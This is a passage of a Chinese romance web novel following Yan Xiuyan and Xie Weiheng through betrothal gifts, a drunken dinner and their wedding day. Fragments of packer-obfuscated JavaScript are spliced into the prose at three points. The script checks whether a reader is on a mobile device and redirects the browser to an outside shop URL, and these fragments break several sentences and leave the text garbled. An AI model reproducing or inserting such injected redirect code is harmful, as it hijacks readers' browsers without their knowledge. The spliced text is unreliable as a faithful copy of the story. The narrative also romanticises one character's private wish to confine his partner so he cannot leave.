燕修延翻了个白眼,无语道:“陛下,您要是猜不出来,就别在这里装老谋深算,来敷衍臣了。” 虞睿祥被他噎了一下,目光却落在了他怀里的盒子上,好奇地问:“这盒子里,装的是什么?瞧你宝贝得紧。” 燕修延闻言,立刻露出一脸哀怨的神情,语气委屈巴巴:“还能是什么,装的是聘礼啊。谢大人可真没良心,用几两下聘,哦不对,他还算有点良心,给了几十两呢。” 看着他那副泫然欲泣的模样,虞睿祥有那么一瞬的恍惚,竟真的怀疑,是不是自己平日里苛待了他。 但转念一想,他登基之后,赏给燕修延的金银珠宝、良田宅院可不少。 是燕修延自己,把那些赏赐都用在了正途上,或是赈济灾民,或是修缮河堤,桩桩件件,皆是有利于江山稳固的好事。 虞睿祥无奈地摇了摇头,大手一挥,颇为豪气地说:“这样吧,朕额外赏你黄金千两,这事,朕不告诉谢卿。” 注: 聘书是谢伟恒父亲提前写好的,只是一直放在江南那边没有给谢伟恒,下聘时,需要新人写上名字 23. 有就不错了,不要还我 虞睿祥亲自安排了一辆宽敞的马车送燕修延回府,车辇之后,跟着一排步伐稳健的宫人。 个个肩上扛着沉甸甸的木箱,箱角鎏金的“御赐”二字在日头下闪着光,惹得街上百姓纷纷驻足侧目。 燕修延却没急着回自己那空荡荡的宅子,反而让车夫绕了个道,径直去了监察司,叫来几十个手下。 刚进院门,他就指着西边那间空房,扬声道:“把这些箱子都搬进去,仔细着点,别磕着碰着!” 宫人们应声而动,小心翼翼地将木箱搬进屋里,码得整整齐齐。 燕修延看着他们额角渗出的薄汗,心里过意不去,伸手摸了摸怀里,翻了半天,只摸出一个小巧的银裸子。 他咂咂嘴,转身打开一只木箱,从里面拿出一锭沉甸甸的银元宝,递给领头的宫人:“兄弟们受累了,这点银子拿去买点酒喝,算是我的一点心意。” 宫人连忙摆手推辞:“燕大人客气了,这是奴才们分内之事,怎敢收您的赏赐。” “拿着吧。” 燕修延把银锭往他手里一塞,眉眼弯弯,“不过是杯水车薪,别跟我客气。” 宫人拗不过他,只得千恩万谢地收下,领着一众手下躬身告退。 燕修延又摸出一锭银元宝,掂了掂,朝着一旁看热闹的温瑞扔了过去。 温瑞眼疾手快地接住,元宝在掌心沉甸甸的,他咧嘴一笑,抛着银锭子,努了努嘴,语气里带着几分戏谑:“头儿,人家搬一次就有一锭银子,我们这么多兄弟全天给你守着,就这点?未免也太抠门了吧。” “有就不错了,不要还我。” 燕修延挑眉,抬脚作势就要踹他。 温瑞吓得一缩脖子,连忙躲到温泽身后,把银锭子死死揣进怀里,嘿嘿笑道:“要,怎么不要!我就是随口问问,头儿,你说我们能不能监守自盗啊?” 燕修延斜睨着他,眼神里带着几分危险:“你可以试试,但凡少一个子儿,我就把你打包送去边疆,让你去喝西北风,守一辈子的城门!” 温瑞瞬间把头摇得像拨浪鼓,连连摆手:“不试不试!头儿给的够多了,我就是开个玩笑!对了,这话是温泽让我问的!” “你少来!” 温泽一把拽住温瑞的后衣领,像拎小鸡似的把他往外扔,“我人就在这儿,你还敢空口白牙污蔑我?看我不揍你!” 温瑞身子在空中一转,稳稳落在地上。 拍了拍身上的灰尘,嬉皮笑脸地喊道:“头儿放心!我一定把这些宝贝看得严严实实的,一个子儿都不会少!要是有哪个不长眼的小偷敢来,我直接把他抓起来阉了,送到宫里去当差,让他一辈子吃官家饭!” “贫嘴。” 燕修延笑骂一句,目光落在那几箱御赐的黄金上,神色渐渐严肃起来,“这些金锭子,让柳岚和岫儿亲自送去边关,镖礼一百两黄金,务必确保万无一失。” 他特地跟虞睿祥软磨硬泡,多要了一百两黄金,刚好用来付镖礼,一分不多一分不少。 “多少?一百两黄金?!” 温瑞倒吸一口凉气,眼睛瞪得溜圆,随即搓着手,腆着脸凑上来,“头儿,我想请个假,陪柳岚他们一起押镖去!此去边关路途遥远,多个人多个照应不是?” “滚!” 燕修延毫不客气地啐了他一口,“你那点俸禄还不够你在路上挥霍的,老实在家给我看门!” 周围的人顿时哄笑起来,对着温瑞群起而攻之,闹得温瑞抱头鼠窜,满院子都是欢声笑语。 燕修延叫来的人里,有好几个擅长做饭的,他正想再拿一锭银子出来,让他们去买菜,转念一想,又把银子放了回去,冲着温瑞喊道:“温瑞,跟我去隔壁过点饭菜来!” 说罢,他抱起自己那个装着几百万两银票的紫檀木盒,脚尖一点,就翻上了墙头,朝着隔壁谢府跃去。 此时的谢府书房里,谢伟恒正临窗而坐,手中捧着一卷古籍,看得入神。 忽然,一阵震天响的敲门声传来,力道之大,仿佛要把门板给敲碎。 谢伟恒无奈地放下书卷,唇角却不自觉地勾起一抹笑意。 整个谢府,能这么敲门的,除了燕修延,再无他人。 他起身去开门,门刚打开,就见燕修延抱着木盒站在门口,脸上带着几分自来熟的笑意:“谢大人,你家这么多口人,厨房的菜肯定买得多吧?” 两家离得近,方才燕府门外的动静闹得沸沸扬扬,谢伟恒早已从谢伯口中得知了前因后果,瞬间就猜到了燕修延的来意。 他侧身让燕修延进来,语气平淡却带着几分纵容:“不必麻烦,我让厨房多做二十人的饭菜,直接送去你府上便是。” “这多不好意思啊。” 燕修延假惺惺地客气了两句,脸上却半点不好意思都没有,“既用了你的人,又吃着你的饭,真是太麻烦你了。” 他转头冲墙外喊了一声,让温瑞先回府等着,饭点再过来取。 随后,燕修延竖起耳朵,仔细听了听周围的动静,确定没有旁人,这才拽着谢伟恒的衣袖,把他推进书房,反手关上了门。 他压低声音,神神秘秘地问道:“谢大人,我问你个事儿,这聘礼,要是咱们以后和离的话,你会不会要回去啊?” 谢伟恒闻言,眸色骤然一沉,眼底闪过一丝不易察觉的暗芒。 他看着燕修延那双清澈的眼睛,声音低沉而笃定:“不会。” 不会有和离的那一天。 谢伟恒在心里默默补充道。若是未来燕修延执意要走,他会先帮他扫清所有障碍,完成他心中所愿,然后,再将他困在这方寸天地之间,让他只能与自己朝夕相对,再也无法离开。 燕修延没察觉到他话里的深意,只摸了摸后颈。 皱着眉嘀咕道:“嘶——怎么突然有点凉飕飕的?” 门窗都关得好好的啊。 改天得去庙里烧炷香,问问得道高僧是怎么回事。 严瑾川那家伙,就是个庸医!不对,是庸使! 他晃了晃脑袋,把那点异样抛到脑后,又凑近一步,好奇地问道:“对了,你自己的钱都藏在哪儿了?你这地方看着挺安全的,我也想藏个。” 毕竟这几百万两是聘礼,等成了婚再让柳岚带去边关也不迟。 咳,主要是担心成亲当日出什么幺蛾子,谢伟恒万一反悔,想要回聘礼。 那他就是把自己论斤卖了,也凑不齐几百万两。 谢伟恒没多说什么,直接领着他去了自己的卧房。 他走到床头,在床沿的暗扣上轻轻按了两下,只听“咔哒”一声,床头的木板竟缓缓移开,露出一个隐蔽的暗格。 暗格里放着一个描金的木盒,看着精致小巧。 燕修延眼睛一亮,伸手拿起木盒打开,嘴里还念叨着:“这里面不会也藏着几百万两银票吧?” 他低头数了数,脸上的期待瞬间垮了下来。盒子里只有四张五百两、一张一百两的银票,外加一些零散的碎银子,加起来也不过两千一百两。 “这就是你全部家当了?”燕修延瞪大了眼睛,一脸难以置信。 谢伟恒颔首,神色淡然。 燕修延看着那点银子,心里越发不安起来。 谢伟恒自己就这么点积蓄,那几百万两聘礼,定然是谢家的家底。 日后若是和离,他会不会反悔,想要回聘礼,甚至打上自己那十几箱陪嫁的主意? 他会这么想,纯粹是以己度人。 毕竟,燕修延自认就是个小气抠门、视财如命的主儿。 他毫不犹豫地把自己的紫檀木盒塞进暗格里,想了想,又不放心地拿了出来,转头看向谢伟恒:“你给我一把锁。” 谢伟恒依言而行,让谢伯取来一把全新的铜锁,还配了两把钥匙。 燕修延亲手把暗格锁好,将钥匙小心翼翼地揣进怀里,反复确认了几遍,这才放下心来。 他抬眼看向谢伟恒,一本正经地说道:“先说好啊,这个钱以后归我自由支配,你不许过问——当然,你要问也行,我不一定会告诉你。” 谢伟恒看着他那副护食的模样,忍不住笑了起来,眼底满是宠溺:“随便你花,我绝不过问。” 他顿了顿,补充了一句,语气带着几分不容置疑:“但不许拿着去青口。” 青口那地方,龙蛇混杂,多的是风月场所,他可不想让燕修延再往那种地方跑。 “谢大人真肤浅。” 燕修延撇撇嘴,一脸不屑,“我又不是什么好色之徒,那种地方我才不去呢。” 话虽如此,燕修延心里却松了口气。 别的不说,谢伟恒的品性,他还是信得过的。 这时,门外传来小厮的声音,说厨房的饭菜已经备好。 谢伟恒让人把二十人的饭菜送去隔壁燕府,还特地嘱咐了一句:“他们是在替燕大人看守嫁妆,若是过来吃饭的时候,被小偷钻了空子,那就得不偿失了。” 燕修延一听,觉得这话有理。 他原本也想跟着去自己府上吃饭,可转身看到谢伟恒的书桌上,摆着几道自己最爱吃的菜,旁边还放着一壶醇香的美酒,脚步瞬间就迈不动了。 送去隔壁的饭菜里,可没有这几道菜,更没有这壶好酒。 一边是兄弟,一边是好酒好菜。 这选都不用选! 燕修延毫不犹豫地一屁股坐到谢伟恒旁边的椅子上。 “我看今儿的菜做得多,你一个人肯定吃不完,我帮你吃点,免得浪费。” 谢伟恒抬眼看向他,目光里带着笑意。 一旁的谢小厮看得牙痒痒,却不敢多说什么。 谢伟恒心领神会,朝他使了个眼色,谢小厮只得悻悻地退了下去。” 燕修延压根没在意这些,他的眼里,此刻只有桌子上的菜,还有杯中的美酒。 他端起酒杯,抿了一口,醇厚的酒香在舌尖散开,让人回味无穷。 燕修延忍不住发出一声喟叹:“美啊!这真是好酒!” “这酒性烈,我喝不习惯。” 谢伟恒说着,又给燕修延斟了一杯,“你若喜欢,我让人送去你府上。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646181|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不用不用。” 燕修延摆摆手,笑得眉眼弯弯,“反正我很快就要嫁到你家住了,而且两家就隔一堵墙,没必要费这个功夫,我想吃想喝,直接翻墙头过来就是了。” 谢府厨子的手艺,确实没得说,每道菜都合他的口味。 燕修延一边吃一边想,成个亲好像也不错,白得几百万两白银、一千一百两黄金、一套宅子,还有十几箱陪嫁,以后还能天天来这儿白吃白喝,简直是稳赚不赔的买卖。 等成亲以后,他就天天从谢府大门进来吃饭,吃完了再翻墙头回自己家住,完美! “好。” 谢伟恒看着他一脸得意的模样,眼底的笑意更浓了。 他见燕修延的酒杯空了,便又给他满上,随后端起自己面前的酒杯,轻轻与他碰了碰。 燕修延心情大好,仰头就喝了半杯。 一杯接一杯下肚,酒劲渐渐上头,他夹了一筷子菜塞进嘴里,压了压酒意,含糊不清地问道:“谢大人,陛下赐婚的时候,你当时就没什么想法啊?” 谢伟恒执起酒壶,继续替他斟酒,语气平淡:“没有,又不是尚公主,有什么好想的。” “哈哈哈!” 燕修延拍着桌子大笑起来,笑得前仰后合,笑到一半,却又皱起眉头,感觉哪里有些不对劲,“那……那如果赐婚的对象是别人呢?你也会答应吗?” 谢伟恒抬眸看他,眼神里带着几分意味深长:“陛下赐婚,为的是通过我拉拢谢家,不是什么人,都有这个资格的。” 燕修延歪着脑袋想了想,忽然一拍桌子,恍然大悟道:“我知道了!是因为满朝文武,只有我总是气你,对不对?” 谢伟恒看着他泛红的脸颊,唇角勾起一抹温柔的弧度:“嗯,也只有你能气到我。” “那是!” 燕修延顿时骄傲起来,拍着自己的胸口,说话都有些大舌头了,“不是我吹,我干娘那么慈祥、那么温和的一个人,都被我气得拿着竹条追着我抽!那场面,啧啧……” “你醉了。” 谢伟恒伸手按住他的手腕,阻止了他继续倒酒的动作。 燕修延没有抽回手,反而用空着的那只手抢过酒壶,拧开壶盖,直接往嘴里灌:“我没醉!我还能喝!” 辛辣的酒液顺着喉咙滑下,多余的酒顺着他的嘴角溢出,划过线条流畅的下颌,滴落在衣襟上,晕开一片深色的痕迹。 他把空酒壶往桌子上一扔,“砰”的一声,震得碗筷都微微作响。 燕修延猛地站起身,拍着桌子,朗声道:“且看着!等到兵强马壮的那一天。 我一定要把那些蛮人全都赶走,还边疆百姓一个太平盛世!” 喊完这话,他又一屁股坐了回去,眼神有些涣散,盯着桌子发起了呆。 谢伟恒看着他这副模样,心里一阵酸涩,用力握住了他的手腕,语气坚定:“这一天,不会远。” 他跻身中书省,步步为营,为的就是有朝一日,当燕修延踏上战场时,能替他挡住朝堂上那些明枪暗箭,不让任何人弹劾他,绊住他的脚步。 燕修延似乎没听清他的话,只是自顾自地嘟囔着:“我要把所有欺负过虞朝的人,全都吊起来打!” “嗯,都依你。”谢伟恒低声应和。 “把他们都赶走!赶得远远的!” “嗯,都赶走。” “谢伟恒,你其实挺好的。” 燕修延抬起头,看着他,眼神朦胧,“就是太古板了,一点都不好玩。” “嗯,我改。” 谢伟恒毫不犹豫地应下。 燕修延的声音越来越小,脑袋一点一点的,眼见着就要和桌子来个亲密接触。 谢伟恒眼疾手快,伸手托住他的脑袋,小心翼翼地将人横抱起来,放到旁边的矮榻上,又拿起一旁的毯子,轻轻搭在他的腹部。 “去让厨房煮些醒酒汤来。” 谢伟恒打开房门,就看见谢小厮站在门外,脸上带着几分踌躇和纠结。 谢小厮连忙应声,转身正要走,却听见谢伟恒的声音在身后响起:“今日你在门外听见的话,不许说出去。他是怎样的人,我自有判断,无需旁人置喙。” 谢伟恒已经回到了矮榻边,侧坐在榻沿上。 他伸出手指,轻轻划过燕修延柔软的下唇,眼中是浓得化不开的情谊,温柔得能滴出水来。 半晌,他俯下身,在燕修延的唇角,印下一个轻柔的吻,仿佛捧着世间最珍贵的宝贝。 谢小厮的身子猛地一僵,脸上露出几分羞愧之色。 少爷很久以前就跟他说过,看人不能听旁人的闲言碎语,要自己用心去感受,不能人云亦云。今日他却差点犯了错。 谢小厮低着头,快步朝着厨房走去,心里暗暗发誓,以后定要管住自己的嘴,好好护着燕大人。 他走得太急,在转角处不小心撞到了一个人身上,抬头一看,竟是谢伯。 “慌慌张张的,成何体统。” 谢伯无奈地摇摇头,目光却看向书房的方向,眼底带着几分了然的笑意。 24. 祖坟怕是要着啦! 大婚前一日,暮春的暖阳斜斜洒在青石板路上,将虞睿祥与太后的身影拉得颀长。 随行的宫中教习嬷嬷捧着朱红漆盒,里头盛着大婚礼仪的制式文书,一行人轻车简从,停在燕修延府邸门外。 铜环叩门,半晌无人应,倒是隔壁谢家的角门“吱呀”一声开了条缝。 小厮探出头来,见是宫装打扮的人,忙躬身道:“诸位是来寻燕大人的吗?” 宫人上前一步:“正是,敢问小兄弟,今日可曾见过燕大人?” 谢小厮连连点头,声音却压得极低:“燕大人正在我家少爷书房里……在谈事情呢。” 他想起先前路过书房时,里头传出来的动静——桌椅碰撞声混着燕大人的嚷嚷,活像要把屋顶掀了。 宫人正要再问,马车帘幕已被掀开。 虞睿祥一袭玄色常服,腰束玉带,墨发仅用一根玉簪束起,贵气却不张扬; 太后着宝蓝色织锦褙子,鬓边斜插一支点翠步摇,慈眉善目里带着几分探究。 二人缓步走下马车,虞睿祥淡淡开口:“带路,去你家少爷的书房。” 谢小厮哪里见过这般气度的人物,一时慌了神,躬身道:“您二位稍等!” 转身就往院里跑,边跑边喊:“谢伯!谢伯!门外来了两位贵人,要找燕大人,还说要直接去少爷书房!” 谢伯匆匆赶来,到门口一见虞睿祥与太后,又瞥见随行宫人腰间的宫牌,心头一震,忙侧身让行。 谢伯引着众人往里走,眼神却急得向谢小厮递去,示意他赶紧去通知谢伟恒:“几位请到前厅稍作歇息。” “不必通传。” 虞睿祥抬手止住谢小厮,声音里带着不容置疑的威严,“朕和母后很好奇,燕卿在谢卿的书房,究竟在闹些什么。” 谢伯心中一惊,这“朕”字一出:“草民见过——” “不必多礼,带路便吧。” 虞睿祥抬手止住他欲下跪的动作。 小厮跟在后面,大气不敢出,只觉心跳如擂鼓。 这两位竟是皇帝和太后! 祖坟怕是要着啦! 还未进院子,就听见燕修延的声音从书房里传来,带着几分无赖的嚷嚷:“谢伟恒你别捂着!给我看一眼,就一眼!你脸红个什么劲啊,跟个姑娘家家似的!” 紧接着又是一声,“赶紧的!要不是看在你细皮嫩肉的份上,我直接上手掰了!” 谢伯干笑一声,额角渗着细汗:“今儿燕大人不知看到了什么,一直追着少爷说要看,少爷似乎是没给看。” 这话听着,实在有些引人遐想。 虞睿祥不动声色地推开虚掩的书房门,门轴发出“吱呀”一声轻响。 屋内,谢伟恒满脸通红,脊背绷得笔直,怀里紧紧抱着什么东西,衣襟被扯得散开些许,露出颈间细腻的肌肤。 燕修延从后面环住他的腰,双手正试图扒开他护在胸前的手,脑袋还凑在他颈边,呼吸都喷在他耳后。 听见动静,二人同时回头。 “臣见过陛下、太后~” 燕修延先是一愣,随即抬手挥了挥,像只讨饶的大型犬。 太后迟疑着开口,目光在二人纠缠的姿势上转了一圈:“哀家和皇帝,莫不是打扰到你们的好事了?” 燕修延丝毫没觉得有什么不妥,反而眼睛一亮,冲着太后嚷嚷:“干娘来的正好!快把谢大人的胳膊拉开!他藏着东西不让我看!” 虞睿祥抬手,示意随行的宫人和嬷嬷都退到院子外面。 这才与太后抬脚走进书房,目光落在谢伟恒怀里:“谢卿,你怀里抱的是什么?” 他头一次在谢伟恒脸上看到这般窘迫的神情,平日里的谢大人,素来是泰山崩于前而色不变的。 谢伟恒抿紧唇,垂着眼帘,一言不发,只将怀里的东西抱得更紧了。 太后看得明白,他是真的不想让燕修延看见。 “阿延,撒手。” 太后轻斥一声,“你这模样,活像个登徒子。” “像吗? 燕修延闻言,下意识松开手,挠了挠头,看着谢伟恒绯红的脸颊和散乱的额发。 “好像是有点。” 他顿了顿,又解释道,“我来找他的时候,他正在看一个册子,我瞥见上面好像画的是人,还以为……” 以为谢伟恒私底下看什么不正经的东西。 虞睿祥大约能猜到那册子是什么,无非是谢伟恒年少时画的燕修延的模样,他直接岔开话题:“明日你二人大婚,朕和母后带了宫中的教习嬷嬷来,教你些大婚的礼仪。” 燕修延指了指自己,满脸不可置信:“就我?” 虞睿祥挑了挑眉:“不然呢?” 燕修延立刻拉过谢伟恒的胳膊,嚷嚷道:“那他呢?凭什么只有我学?” 太后笑着刮了刮他的鼻子:“傻孩子,他又不嫁人。” 燕修延瞬间炸毛,梗着脖子道:“凭什么娶的那方就这么轻松?陛下,这是陋习!必须改!” 虞睿祥端起桌上的茶,抿了一口,淡淡道:“就算要改,明日就要成亲了,你也赶不上。” 他心中确实有改革旧俗的念头,虞朝女子地位低微,许多规矩本就不合理,只是此事牵扯甚广,阻力颇大,需从长计议。 燕修延叹了口气,耷拉着脑袋:“那还能怎么办?学呗。” 话音刚落,他突然扭头,手如闪电般向谢伟恒怀里掏去。 谢伟恒早有准备,他刚一动,便连续退了好几步,后背抵在书架上,警惕地看着他。 燕修延撇撇嘴,满脸委屈:“谢大人,你防着我。” 太后立刻帮腔:“你这么贼,不防你防谁?” 燕修延捂着胸口,做出一副受伤的模样,语气却理直气壮:“干娘,我这么丰神俊朗、双目炯炯有神、气宇轩昂,哪像贼了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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燕修延立刻辩解,“寻常人家不见面,是怕被人说家教不严,伤风败俗。” “臣跟谢大人是陛下赐婚,谁敢指指点点?再说了,臣是翻墙来的,外面人看不到!” 太后闻言,好奇地看向谢伟恒:“翻墙?” 谢伟恒颔首,嘴角难得带上一丝笑意:“燕大人是翻墙的一把好手。” 虞睿祥看着二人相邻而站的身影,突然明白谢伟恒为何要买下隔壁的宅子送给燕修延了。 若是二人日后吵架,燕修延负气出走,谢伟恒只需翻个墙,便能把人抓回来——或许,都不用抓回来,就地便能哄好。 床头吵架床尾和,大抵就是如此。 他心中微动,郑重道:“明日,朕给你二人主婚。” 燕修延眼睛瞬间亮了,仿佛有星光坠入其中,他兴冲冲道:“那明日我得让人在门口拦着收钱!来参加婚礼的,都得随份子!” 虞睿祥忍无可忍,拿起一枚棋子就朝他丢去,笑骂道:“你能不能出息点!” 25. 没良心的东西! 第二日,晨光熹微,谢府便已张灯结彩,红绸绕柱,喜气洋洋。 谢伟恒一身正红色喜袍,腰束玉带,衬得原本清隽的面容多了几分明艳,他踏着晨光,带着浩浩荡荡的迎亲队伍往慈宁宫而去。 慈宁宫门大开,却不见宫人相迎,只监察司一众属官堵在门口,个个身着劲装,脸上带着不怀好意的笑。 为首的温瑞抱臂而立,挑眉道:“谢大人,想娶我们家大人,可没这么容易。” 谢伟恒早有准备,从袖中取出一个绣着云纹的荷包,递到温瑞面前。 温瑞掂了掂,故意拉长了语调嫌弃:“就这点……” 话音未落,他打开荷包,看清里面满满当当的金瓜子,瞬间眼睛瞪得溜圆,忙转身给身后的兄弟们看。 一群五大三粗的壮汉瞬间变了脸色,齐刷刷分列两旁,拱手高声道:“谢大人里面请!男客一位!接客啦!” 屋内,燕修延正懒散地斜靠在梨花木椅上,一边嗑着瓜子,一边啜着热茶,腿还翘在旁边的小几上。 他得意地冲太后扬了扬下巴:“干娘,您瞧,有我这帮手下守门,谢伟恒想进来,少说也得折腾半个时辰。” 太后笑着指指他的脑袋:“都是要成亲的人了,还这么孩子气。” 话音刚落,门外便传来沉稳的脚步声,紧接着是轻叩木门的声音。 “叩叩——” 燕修延心中一惊,忙起身拉开门,便见一袭红色喜袍的谢伟恒立在门口,晨光洒在他肩头,宛如镀了一层金光。 燕修延两眼瞪得溜圆,嘴里的瓜子都忘了嚼:“一炷香的时间都没到吧!你们是怎么拦的门?” 他单手叉腰,回头瞪着跟进来的温瑞等人,无语骂道:“我真怀疑你们是吃干饭的!” 温瑞连忙讨饶,笑得一脸谄媚:“头儿,我胃不好,就喜欢吃软饭、喝稀的,真的!” “傻子!” 柳岚恨铁不成钢地踹了温瑞一脚,在他的衣服上留下一个清晰的脚印,“头儿说的是这个意思吗?” 谢伟恒看着燕修延气鼓鼓的模样,眼底漾起温柔的笑意,他掌心向上,语气缱绻:“燕大人,请。” 燕修延迟疑着没有动,警惕地打量着他:“你这什么眼神,是不是准备了什么昏招等着我?” 谢伟恒勾唇莞尔,故意激他:“怎么,燕大人害怕了?” “害怕?那不能够!” 燕修延梗着脖子道。 太后见状,笑着将燕修延的手放在谢伟恒的掌心。 谢伟恒顺势牢牢握住。 燕修延只觉掌心传来一阵温热,顿时有些别扭,嘟囔道:“两个大男人牵手,像什么样子。” 监察司众人异口同声地喊:“般配的样子!” 燕修延目光一凛,眯起眼睛打量着手下们:“你们到底收了什么好处?” 温瑞实诚地掏出那个荷包:“一袋金瓜子,挺沉的。” 谢伟恒闻言,将燕修延的掌心翻过来,又取出一个绣着并蒂莲的荷包,放在他的手心。 燕修延隔着布料捏了捏,能感觉到里面沉甸甸的分量,顿时十分满意。 他在温瑞等人羡慕的目光中,小心翼翼地把荷包收好。 还不忘对谢伟恒说:“你早说守门的有一袋金瓜子,我就自己守了。” 谢伟恒笑道:“你守不守,那一袋都是给他们的,毕竟是长久以来跟着你的兄弟,不能亏待了。” 这句话瞬间收服了温瑞等人的心, 大家七嘴八舌地帮谢伟恒说话:“头儿,你看谢大人多好,还留了个大荷包给你。” “咱兄弟这么多人分一袋,你这可是独一份呐!” “谢大人出手这么阔绰,头儿你的福气在后头。” 燕修延磨了磨牙,恨铁不成钢地骂道:“……没良心的东西!” 温泽嬉皮笑脸地凑上来:“头儿,大家半斤对八两,就谁也别说谁了。” 说完,他灵巧地跳开,躲过了燕修延踢来的脚。 这时,王嬷嬷高唱:“新娘子出门——” 谢伟恒牵着燕修延的手刚要出门,太后却猛然抓住燕修延的另一只手。 声音带着一丝哽咽:“阿延……好好的,一定要好好的,去吧。” 说完,她狠了狠心,将燕修延推开。 宫门外,两匹骏马早已备好,毛色油亮,鞍辔皆红。 谢伟恒和燕修延各自翻身上马。 燕修延拍拍马脖子,嘟囔道:“绕城一周属实有些多余。” 谢伟恒勒着缰绳,侧头看他:“绕城一周回到谢府门口,正好是一个圆。” 圆,象征着圆满。 “行吧。” 燕修延无所谓地耸耸肩,扬声道,“走!” 两人骑着马并肩走在前面,红色的发带被风吹得猎猎作响,后面跟着长长的抬箱队伍。 木箱敞开着,里面整齐码放的银锭子在阳光下闪着耀眼的光。 燕修延时不时回头看一眼,拉着缰绳驱使马靠近谢伟恒的马,低声道:“都说财不外露,你倒好,这个时候偏要敞开了?” 谢伟恒目视前方,声音温和:“嫁妆,本就该敞开。” 燕修延撇撇嘴:“赶明儿我就把它们都换成银票,便于携带也好藏。” 谢伟恒偏头看着他,眼含笑意:“我陪你去。” “不用。” 燕修延一口回绝,“又不是三岁小儿,丢不了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646183|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢伟恒淡笑着没有说话,他并非觉得燕修延是小儿,只是单纯想陪在他身边而已。 两人皆容貌出众,红色喜服更衬得二人面如冠玉,身姿挺拔。 街道两边的百姓纷纷停下脚步,指指点点,议论纷纷。 “这是谢侍郎和燕修延吧?” “嘘,你胆子不小,当街直呼燕大人的名字!” “离得远,他们听不见。圣上也是新奇,竟给两位大人赐婚。” “我倒觉得挺好,你看他们多般配!” “给我十几箱嫁妆,让我娶只狗我都干呐!” “臭嘴!燕大人哪里不好了?你见过监察司的人白吃白喝白拿吗?” “这话不假!昨天有个大官的车夫上我店里白吃白拿,我问他要钱,他竟让我去跟他家老爷要!我真不敢呐!” 燕修延对街边的议论声充耳不闻,他漫不经心地抬头,却瞥见左侧酒楼的一处窗户后有人影一闪,迅速躲到了窗户后面。 他脸色微变,凑近谢伟恒道:“谢大人,我估摸着,今天有人要捣乱。” 谢伟恒神色不变,淡淡道:“不会,放心。” 酒楼内,李想确定迎亲队伍走远,才关上窗户,心有余悸地拍着胸口:“燕修延太敏锐了,险些被他看见。” 坐在他对面的魏仲泽拿起酒壶斟酒,语气平静:“谢父到哪儿了?” “按路程算,等谢伟恒他们兜完圈子回到谢府,应该正好能碰见。”李想道。 魏仲泽端起酒杯,浅酌一口:“今日陛下会为他二人主婚,提前碰见也好。” 免得有虞睿祥在,谢父不敢多说什么。 绕了大半个京城,迎亲队伍终于回到谢府门口。 谢伯早已候在那里,见二人归来,忙上前躬身道:“少爷,老爷和夫人来了。” 燕修延心中暗道:捣乱的这不就来了。 谁这么大本事,这么短时间就把谢伟恒他爹弄来了? 他偷偷盘算着,假使这婚成不了,希望陛下别把十几箱嫁妆收回去。 若是陛下硬要收,他就耍赖,天天跟在陛下屁股后头念叨“嫁妆”。 “随我来。” 谢伟恒拉着他的手,往府内走去。 燕修延小声嘀咕:“我可承受不住你爹娘的怒火,被赐婚我也是无辜的。” “放心。” 谢伟恒的声音带着安抚的力量。 两人行至一处幽静的院落,谢伟恒让谢伯在院子门口守着,不许任何人靠近。 燕修延看着紧闭的院门,嘀咕:“你确定不是关门打狗?呸!我是说瓮中捉鳖……呸!反正就是这么个意思——” 话未说完,他便被谢伟恒不容置疑地拉进了屋内。 26. 你确定这是你亲爹? “好孩子,过来坐。” 谢父的声音温和得像春日融雪,冲燕修延招招手时,指尖还轻轻拍了拍身侧的空处。 燕修延心里的违和感如潮水般涌来,先前见谢父时,那老儒的眼神总带着三分审视、七分不满,今日怎的这般和煦? 他磨磨蹭蹭地挪过去,靴底在青石板上蹭出细碎的声响,活像只被提溜着脖颈的猫。 谢父从袖中取出一物,锦盒打开的瞬间,满室皆被莹白的柔光笼罩——那是块拳头大的羊脂玉,质地细腻得仿佛能掐出水来,日光下流转着温润的光泽,一看便知是价值连城的珍品。 “我不知你喜欢什么,这块玉石你可去找匠人雕刻成喜欢的样式。” 燕修延没敢伸手,眼神直勾勾地瞟向谢伟恒,那眼神分明在说:你爹今天吃错药了?出门带这么大块玉,是准备随时给人送礼赔罪吗? 谢伟恒失笑,上前一步接过玉石,将那微凉的玉块轻轻放入燕修延掌心,指尖不经意间擦过他的温热的皮肤,低声道:“没有想雕的样式,也可以卖钱。” 燕修延扭头再看谢父,却见这位传闻中严肃古板、连笑都吝啬的老夫子,脸上竟挂着淡淡的笑意,丝毫不见被拂了面子的不悦:“如此,亦可,你随意处置。” 他狠狠掐了自己大腿一把,疼得龇牙咧嘴,这才确定不是在做梦。 谢父竟真的对他和颜悦色,还送了这么贵重的礼? 谢父似是想起什么,又补充道:“若恒儿欺负你,你就写信给我,我来教训他。” 燕修延顿时惊得瞪大了眼,伸手指了指谢伟恒,又指了指自己,那表情仿佛在问:谁欺负谁?您老怕不是搞反了? 太后在一旁掩唇轻笑,声音里满是戏谑:“我家幺儿惯会无理取闹,亲家你这么一说,他以后只怕是隔三差五要写信给你。” 谢父捋着胡子笑得开怀,眼角的皱纹都舒展开来:“太后娘娘,无妨的,只要他写信,我就当是恒儿不占理。” 